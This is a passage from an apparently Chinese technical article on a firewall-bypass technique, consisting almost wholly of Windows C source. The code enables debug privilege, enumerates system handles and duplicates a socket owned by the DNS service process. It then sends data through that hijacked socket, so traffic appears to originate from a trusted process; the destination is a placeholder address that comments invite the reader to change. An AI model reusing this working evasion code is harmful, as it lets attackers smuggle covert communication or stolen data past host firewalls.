----------------------------------------------------------------------------------------------------------------------------------------------- 本文提示：《一种新的穿透防火墙的数据传输技术(2)》是本站编辑们为广大网友精选的实用文章，本文阐述了关于文章的相关理论，相对来说专业性强，但是本文只是针对于某个问题提出的见解与论述，未必能辐射到相关问题的方方面面，所以本文处理问题的方法仅仅为您提供一些参考。更多问题请查阅学习中国网其他栏目哦. -----------------------------------------------------------------------------------------------------------------------------------------------
AccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if(hProcess == NULL)
{
printf("OpenProcess wrong");
CloseHandle(hProcess);
return false;
}
if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessToken wrong:%08x", GetLastError());
return false;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
HANDLE sock = NULL;
DWORD n;
buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return NULL;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
try
{
if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
&& (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c,
in my test, it stops at getsockname()
// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}
//printf("DuplicateHandle ok\n");
sockaddr_in name = {0};
name.sin_family = AF_INET;
int namelen = sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
//printf("PORT=%5d\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}
if ( buf != NULL )
{
free( buf );
}
return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
if(!LocateNtdllEntry())
return;
if(!EnablePrivilege (SE_DEBUG_NAME))
{
printf("EnablePrivilege wrong\n");
return;
}
sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
printf("GetSocketFromId wrong\n");
return;
}
//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}
getchar();
//WSACleanup();
return;
}
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